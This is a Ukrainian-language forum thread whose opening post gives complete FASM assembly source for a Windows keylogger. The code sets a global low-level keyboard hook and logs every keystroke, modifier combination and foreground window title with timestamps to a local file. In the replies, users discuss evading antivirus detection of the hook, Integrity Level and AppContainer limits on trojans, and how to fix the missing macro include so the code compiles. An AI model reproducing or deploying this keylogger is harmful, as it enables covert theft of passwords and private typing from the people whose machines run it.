1

Тема: [FASM] Keylogger (support Unicode)

keylogger.asm

    
    format PE GUI 5.0       ; Subsystem Version (min Windows 2000)

;   =========================================================
    section '.code' code import writeable readable executable
;   =========================================================

    include 'win32ax.inc'
    include 'macro/SWITCH.inc'

;   =====================
    include 'iat.imports'
;   =====================


    FILE_APPEND_DATA = 0x0004

struct KBDLLHOOKSTRUCT
    vkCode          rd 1
    scanCode        rd 1
    flags           rd 1
    time            rd 1
    dwExtraInfo     rd 1
ends


proc WriteToFile uses esi, wText
    locals
        dwBytesWritten      rd 1
        hFile               rd 1
    endl

    invoke CreateFileW, log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
    .if eax <> INVALID_HANDLE_VALUE
        mov [hFile], eax
        invoke lstrlenW, [wText]
        imul eax, 2
        invoke WriteFile, [hFile], [wText], eax, addr dwBytesWritten, NULL
        .if eax = 1
            invoke CloseHandle, [hFile]
            xor eax, eax
            inc eax
            ret
        .endif
    .endif

    xor eax, eax
    ret
endp


proc KeyEvent uses esi, nCode, wParam, lParam
    locals
        window_text         du 1024     dup (?)
        old_window_text     du 1024     dup (?)
        wszAppName          du 1024     dup (?)
        szKey               du 256      dup (?)
        buff                du 256      dup (?)
        UniChar             du 16       dup (?)
        hWindowHandle       rd 1
        dwMsg               rd 1
        dwProcessId         rd 1
    endl

    .if (([nCode] = HC_ACTION) & (([wParam] = WM_SYSKEYDOWN) | ([wParam] = WM_KEYDOWN)))

        mov esi, [lParam]
        virtual at esi
            kbHook KBDLLHOOKSTRUCT <>
        end virtual

        mov eax, [kbHook.flags]
        shl eax, 0x8
        add eax, [kbHook.scanCode]
        shl eax, 0x10
        inc eax
        invoke GetKeyNameTextW, eax, addr szKey, 256

        invoke GetForegroundWindow
        .if eax <> NULL
            mov [hWindowHandle], eax
            invoke GetWindowTextW, [hWindowHandle], addr window_text, 1024
            .if eax <> 0
                invoke lstrcmpW, addr window_text, addr old_window_text
                .if eax <> 0                
                    invoke GetLocalTime, LocalTime

                    movzx eax, word[LocalTime.wSecond]
                    push eax

                    movzx eax, word[LocalTime.wMinute]
                    push eax

                    movzx eax, word[LocalTime.wHour]
                    push eax

                    movzx eax, word[LocalTime.wYear]
                    push eax

                    movzx eax, word[LocalTime.wMonth]
                    push eax

                    movzx eax, word[LocalTime.wDay]
                    push eax

                    cinvoke wsprintfW, addr wszAppName, tittleFrmt, addr window_text
                    stdcall WriteToFile, addr wszAppName
                    .if eax = 1
                        invoke lstrcpyW, addr old_window_text, addr window_text
                    .endif
                .endif

            .endif

            invoke GetKeyState, VK_LCONTROL
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_LCONTROL
                    cinvoke wsprintfW, addr buff, sfrmtLcontrol, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_RCONTROL
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_RCONTROL
                    cinvoke wsprintfW, addr buff, sfrmtRcontrol, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_LMENU
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_LMENU
                    cinvoke wsprintfW, addr buff, sfrmtLmenu, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_RMENU
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_RMENU
                    cinvoke wsprintfW, addr buff, sfrmtRmenu, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_LWIN
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_LWIN
                    cinvoke wsprintfW, addr buff, sfrmtLwin, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_RWIN
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_RWIN
                    cinvoke wsprintfW, addr buff, sfrmtRwin, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: switch [kbHook.vkCode]

                case VK_BACK
                    stdcall WriteToFile, sBackspace
                    break

                case VK_TAB
                    stdcall WriteToFile, sTab
                    break

                case VK_RETURN
                    stdcall WriteToFile, sEnter
                    break

                case VK_PAUSE
                    stdcall WriteToFile, sPause
                    break

                case VK_CAPITAL
                    stdcall WriteToFile, sCapsLock
                    break

                case VK_ESCAPE
                    stdcall WriteToFile, sEsc
                    break

                case VK_PRIOR
                    stdcall WriteToFile, sPageUp
                    break

                case VK_NEXT
                    stdcall WriteToFile, sPageDown
                    break

                case VK_END
                    stdcall WriteToFile, sEnd
                    break

                case VK_HOME
                    stdcall WriteToFile, sHome
                    break

                case VK_LEFT
                    stdcall WriteToFile, sLeft
                    break

                case VK_UP
                    stdcall WriteToFile, sUp
                    break

                case VK_RIGHT
                    stdcall WriteToFile, sRight
                    break

                case VK_DOWN
                    stdcall WriteToFile, sDown
                    break

                case VK_SNAPSHOT
                    stdcall WriteToFile, sPrintScreen
                    break

                case VK_INSERT
                    stdcall WriteToFile, sIns
                    break

                case VK_DELETE
                    stdcall WriteToFile, sDel
                    break

                case VK_F1
                    stdcall WriteToFile, sF1
                    break

                case VK_F2
                    stdcall WriteToFile, sF2
                    break

                case VK_F3
                    stdcall WriteToFile, sF3
                    break

                case VK_F4
                    stdcall WriteToFile, sF4
                    break

                case VK_F5
                    stdcall WriteToFile, sF5
                    break

                case VK_F6
                    stdcall WriteToFile, sF6
                    break

                case VK_F7
                    stdcall WriteToFile, sF7
                    break

                case VK_F8
                    stdcall WriteToFile, sF8
                    break

                case VK_F9
                    stdcall WriteToFile, sF9
                    break

                case VK_F10
                    stdcall WriteToFile, sF10
                    break

                case VK_F11
                    stdcall WriteToFile, sF11
                    break

                case VK_F12
                    stdcall WriteToFile, sF12
                    break

                case VK_NUMLOCK
                    stdcall WriteToFile, sNumLock
                    break

                case VK_SCROLL
                    stdcall WriteToFile, sScrollLock
                    break

                case VK_APPS
                    stdcall WriteToFile, sApplications
                    break

                default
                    invoke VirtualAlloc, 0, 256, MEM_COMMIT, PAGE_EXECUTE_READWRITE
                    mov edi, eax

                    invoke GetKeyboardState, edi
                    .if eax <> 0
                        invoke GetKeyState, VK_SHIFT
                        mov [edi + VK_SHIFT], al

                        invoke GetKeyState, VK_CAPITAL
                        mov [edi + VK_CAPITAL], al

                        invoke GetForegroundWindow
                        invoke GetWindowThreadProcessId, eax, addr dwProcessId
                        invoke GetKeyboardLayout, eax

                        invoke ToUnicodeEx, [kbHook.vkCode], [kbHook.scanCode], edi, addr UniChar, 16, [kbHook.flags], eax
                        stdcall WriteToFile, addr UniChar
                    .endif

                    invoke VirtualFree, edi, 0, MEM_RELEASE
                    break
            endsw

        .endif
    .endif


next:
    invoke CallNextHookEx, [hKeyHook], [nCode], [wParam], [lParam]
    ret
endp


proc KeyLogger uses edi, lpParameter
    locals
        msg         MSG
    endl

    invoke GetModuleHandleA, NULL
    test eax, eax
    jne @f

    invoke LoadLibraryA, [lpParameter]
    test eax, eax
    jne @f
    inc eax
    jmp exit

@@: invoke SetWindowsHookExA, WH_KEYBOARD_LL, KeyEvent, eax, NULL
    mov [hKeyHook], eax

@@: invoke GetMessageA, addr msg, 0, 0, 0
    test eax, eax
    je exit
    invoke TranslateMessage, addr msg
    invoke DispatchMessageA, addr msg
    jmp @b

    invoke UnhookWindowsHookEx, addr hKeyHook
    xor eax, eax
exit:
    ret
endp


;   =========================================================
;           ENTRY POINT
;   =========================================================
entry $

    invoke CreateThread, NULL, NULL, KeyLogger, NULL, NULL, dwThread
    test eax, eax
    je @f

    invoke WaitForSingleObject, eax, -1
    jmp Exit

@@: xor eax, eax
    inc eax
Exit:
    ret

    tittleFrmt              du 10, 10, '[%s] - %02d/%02d/%04d, %02d:%02d:%02d', 10, 0
    log_file                du 'log_file.txt',      0
    
    sfrmtLcontrol           du '[CtrlL + %s]',      0
    sfrmtRcontrol           du '[CtrlR + %s]',      0
    sfrmtLmenu              du '[AltL + %s]',       0
    sfrmtRmenu              du '[AltR + %s]',       0
    sfrmtLwin               du '[WinL + %s]',       0
    sfrmtRwin               du '[WinR + %s]',       0

    sBackspace              du '[Backspace]',       0
    sTab                    du '[Tab]',             0
    sEnter                  du '[Enter]', 10,       0
    sPause                  du '[Pause]',           0
    sCapsLock               du '[Caps Lock]',       0
    sEsc                    du '[Esc]',             0
    sPageUp                 du '[Page Up]',         0
    sPageDown               du '[Page Down]',       0
    sEnd                    du '[End]',             0
    sHome                   du '[Home]',            0
    sLeft                   du '[Left]',            0
    sUp                     du '[Up]',              0
    sRight                  du '[Right]',           0
    sDown                   du '[Down]',            0
    sPrintScreen            du '[Print Screen]',    0
    sIns                    du '[Ins]',             0
    sDel                    du '[Del]',             0
    sF1                     du '[F1]',              0
    sF2                     du '[F2]',              0
    sF3                     du '[F3]',              0
    sF4                     du '[F4]',              0
    sF5                     du '[F5]',              0
    sF6                     du '[F6]',              0
    sF7                     du '[F7]',              0
    sF8                     du '[F8]',              0
    sF9                     du '[F9]',              0
    sF10                    du '[F10]',             0
    sF11                    du '[F11]',             0
    sF12                    du '[F12]',             0
    sNumLock                du '[Num Lock]',        0
    sScrollLock             du '[Scroll Lock]',     0
    sApplications           du '[Applications]',    0

    LocalTime               SYSTEMTIME <>
    dwThread                rd 1
    hKeyHook                rd 1

iat.imports

;   =========================================================
;           IAT
;   =========================================================
library kernel32, 'kernel32.dll',\
        user32, 'user32.dll'

import  kernel32,\
        OutputDebugStringA, 'OutputDebugStringA',\
        OutputDebugStringW, 'OutputDebugStringW',\
        VirtualFree, 'VirtualFree',\
        VirtualAlloc, 'VirtualAlloc',\
        LoadLibraryA, 'LoadLibraryA',\
        GetModuleHandleA, 'GetModuleHandleA',\
        CreateThread, 'CreateThread',\
        WaitForSingleObject, 'WaitForSingleObject',\
        CreateFileW, 'CreateFileW',\
        WriteFile, 'WriteFile',\
        CloseHandle, 'CloseHandle',\
        lstrlenW, 'lstrlenW',\
        lstrcmpW, 'lstrcmpW',\
        GetLocalTime, 'GetLocalTime',\
        lstrcpyW, 'lstrcpyW'
                
import  user32,\
        ToUnicodeEx, 'ToUnicodeEx',\
        GetWindowThreadProcessId, 'GetWindowThreadProcessId',\
        UnhookWindowsHookEx, 'UnhookWindowsHookEx',\
        DispatchMessageA, 'DispatchMessageA',\
        SetWindowsHookExA, 'SetWindowsHookExA',\
        GetKeyboardLayout, 'GetKeyboardLayout',\
        GetForegroundWindow, 'GetForegroundWindow',\
        GetKeyboardState, 'GetKeyboardState',\
        TranslateMessage, 'TranslateMessage',\
        CallNextHookEx, 'CallNextHookEx',\
        GetKeyState, 'GetKeyState',\
        GetMessageA, 'GetMessageA',\
        wsprintfA, 'wsprintfA',\
        GetKeyNameTextW, 'GetKeyNameTextW',\
        GetWindowTextW, 'GetWindowTextW',\
        wsprintfW, 'wsprintfW'
Подякували: 0xDADA11C7, 0x9111A, morgot, manglehorn, leofun01, /KIT\6

2

Re: [FASM] Keylogger (support Unicode)

Длякую за ваш внесок, використання високорівневих конструкцій в FASM`і виглядає цікаво. Початківцям, розробникам "цивільних" програм, і як наочний приклад високорівневих конструкцій в FASM для тих, хто вагається у виборі асемблеру, цей код буде надзвичайно корисно почитати. А от використання його в зловмисному ПЗ є якщо і можливим, то дуже обмеженим (пишу для тих хто просто хоче передерти код).

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»
Подякували: Kane1

3

Re: [FASM] Keylogger (support Unicode)

0xDADA11C7 написав:

А от використання його в зловмисному ПЗ є якщо і можливим, то дуже обмеженим (пишу для тих хто просто хоче передерти код).

Чому ви так думаєте?
Через те, що хуки палять авери? Чи якісь інші причини?

4

Re: [FASM] Keylogger (support Unicode)

Тягати з собою незграбну ДЛЛ, яка до того ж працює тільки з х86 процесами то збочення для індустрії.

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»

5

Re: [FASM] Keylogger (support Unicode)

0xDADA11C7 написав:

Тягати з собою незграбну ДЛЛ.

Це дійсно не діло. Але хук WH_KEYBOARD_LL працює без dll.

6

Re: [FASM] Keylogger (support Unicode)

Але хук WH_KEYBOARD_LL працює без dll.

Глобальний хук WH_KEYBOARD_LL працює без dll на системах вище ХП?

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»

7

Re: [FASM] Keylogger (support Unicode)

0xDADA11C7 написав:

Але хук WH_KEYBOARD_LL працює без dll.

на системах вище ХП?

Вище XP - не знаю, мабуть все таки ні, тому що є Integrity Level (який не дасть трояну отримати повідомлення для процессів з IL вище чим у нього). Точно не скажу, треба пробувати.

8

Re: [FASM] Keylogger (support Unicode)

Глобальні хуки без DLL не працюють, а Integrity Level теж не є проблемою, єдина справжня проблема це APP CONTAINER на системах 8+

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»
Подякували: morgot1

9

Re: [FASM] Keylogger (support Unicode)

0xDADA11C7 написав:

єдина справжня проблема це APP CONTAINER

Гарний вони забили гвіздок у домовину троянописання =/

10

Re: [FASM] Keylogger (support Unicode)

Вам би ото аби ридать, і так - заради недотрояна мучатися з цим захистом не варто. Сподівваюсь, що "троянописців" разів в 10 зменшиться, бо "фахівці" з "троянописання", які не можуть 10 год оволодіти азами х64 асемблера і формата пе файла не потрібні.

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»
Подякували: Chemist-i, /KIT\2

11

Re: [FASM] Keylogger (support Unicode)

0xDADA11C7 написав:

які не можуть 10 год оволодіти азами х64 асемблера

Годин? Поясніть, не зрозумів.

12

Re: [FASM] Keylogger (support Unicode)

Kane написав:
0xDADA11C7 написав:

які не можуть 10 год оволодіти азами х64 асемблера

Годин? Поясніть, не зрозумів.

Років.

x
Подякували: Kane1

13

Re: [FASM] Keylogger (support Unicode)

Діалектне наддніпрянське слово

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»
Подякували: /KIT\1

14

Re: [FASM] Keylogger (support Unicode)

>> Глобальний хук WH_KEYBOARD_LL працює без dll на системах вище ХП?

працює, потрібно лиш підвищити IL

Подякували: 0xDADA11C71

15

Re: [FASM] Keylogger (support Unicode)

Хлопці а де можна знайти цей файл macro/SWITCH.inc, без нього програма не компілюється

Подякували: 0xDADA11C71

16 Востаннє редагувалося dosprog (30.05.2018 02:38:18)

Re: [FASM] Keylogger (support Unicode)

sec2015 написав:

Хлопці а де можна знайти цей файл macro/SWITCH.inc, без нього програма не компілюється

) Пробував закоментувати увесь рядок?

;;include 'macro/SWITCH.inc'

17

Re: [FASM] Keylogger (support Unicode)

dosprog написав:

) Пробував закоментувати увесь рядок?

;;include 'macro/SWITCH.inc'

По-перше, навряд чи тема актуальна.
По друге, тоді доведеться руцями переписати код, який використовує макроси звідти

        @@: switch [kbHook.vkCode]
 
                case VK_BACK
                    stdcall WriteToFile, sBackspace
                    break
printf("Nested comments is %s\n", */*/**/"*/"/*"/**/ == '*' ? "OFF" : "ON");
Подякували: leofun011

18 Востаннє редагувалося dosprog (30.05.2018 13:03:14)

Re: [FASM] Keylogger (support Unicode)

То так.
Замінюється нудною послідовністю:

    mov eax, [kbHook.vkCode]
;....
;.....
    cmp eax,  VK_F12
    jnz @@not_VK_F12
        stdcall WriteToFile, sF12
        jmp @@endsw
        @@not_VK_F12:
;.....
;.....
@@endsw:

Або зануритися у тему -> Отут <-.
Проте найкраще то зробити класичну jump_table, воно буде якісніше.

19 Востаннє редагувалося ReAl (30.05.2018 13:33:33)

Re: [FASM] Keylogger (support Unicode)

dosprog написав:

То так.
Замінюється нудною послідовністю:

А я хіба не про це?

ReAl написав:

По друге, тоді доведеться руцями переписати код

Питання в тому, заради чого це робити. Якщо єдина мета — не шукати файл макросів (який має бути доволі поширеним), то навряд чи варто витрачати час на нудну роботу.

dosprog написав:

Проте найкраще то зробити класичну jump_table, воно буде якісніше.

Я теж більше люблю таблиці переходів. Проте хочу сказати, що «якість» має різні метрики, серед них легкість читання-супроводу коду конкретними людьми, а це вже починає залежати від смаків.

p.s. Колись (20+ років тому) працював з одним «мікроконтролерним» асемблером, на його макросах зі стеками (для використання у макросах, часу компіляції) можна було при бажанні структуру switch/case/break/endswitch змусити генерувати таблицю переходів — і час «розбору» детермінований та малий, і вигляд «високорівневий» для тих, кому так більше подобається. Але там інше було криво, вся програма — один файл (можна з include, але однак незручно для багато чого). То недовго й працював, і хтозна, чи десь на дисках залишився.

printf("Nested comments is %s\n", */*/**/"*/"/*"/**/ == '*' ? "OFF" : "ON");
Подякували: leofun011

20 Востаннє редагувалося dosprog (30.05.2018 16:30:46)

Re: [FASM] Keylogger (support Unicode)

ReAl написав:

Питання в тому, заради чого це робити. Якщо єдина мета — не шукати файл макросів (який має бути доволі поширеним), то навряд чи варто витрачати час на нудну роботу.

Колись, кілька років тому, вже зтикався з отією ідеєю switch/case на asm'i,
й прийшов до висновку, що воно негоже. Зручностей добавляє обмаль,
та й сумнівних, до того ж повноцінно (як у Cі) все одно не вийде,
а на виході неоптимальний код та необхідність тягати усюди файл із макро.

ReAl написав:

[..] можна було при бажанні структуру switch/case/break/endswitch змусити генерувати таблицю переходів

Тоді інша справа. Але саморобні макро-реалізації завжди сумнівні.

На Сі, до речі, switch/case реалізується у результаті табличним методом,
тому там навпаки switch/case дуже сприяє ефективності коду.

Ну, то таке, філософія..

ReAl написав:

Проте хочу сказати, що «якість» має різні метрики, серед них легкість читання-супроводу коду конкретними людьми, а це вже починає залежати від смаків.

Табличний метод швидко працює, його швидкість мало залежить від значення аргументу, й таблицю легко модифікувати та розширювати. (Не далі як учора замінював в себе конструкцію з послідовністю <cmp+jnz> на таблицю й то дало моментальне полегшення у модифікації вибору переходу, там було біля десяти case'ів).
Це той випадок, коли з першого погляду більший обсяг роботи (по оформленню табличного методу) на ділі дає перевагу і у часі, і у зусиллях, і у швидкості виконання коду.
Проте, якщо у switch'і лише 3-5 case'ів, то краще не заморочуватись, тупо перебрати <cmp+jnz> для кожного.
Якщо ж case'ів більше, то табличний метод однозчно має переваги.

Проте це типу офтоп.

Подякували: leofun011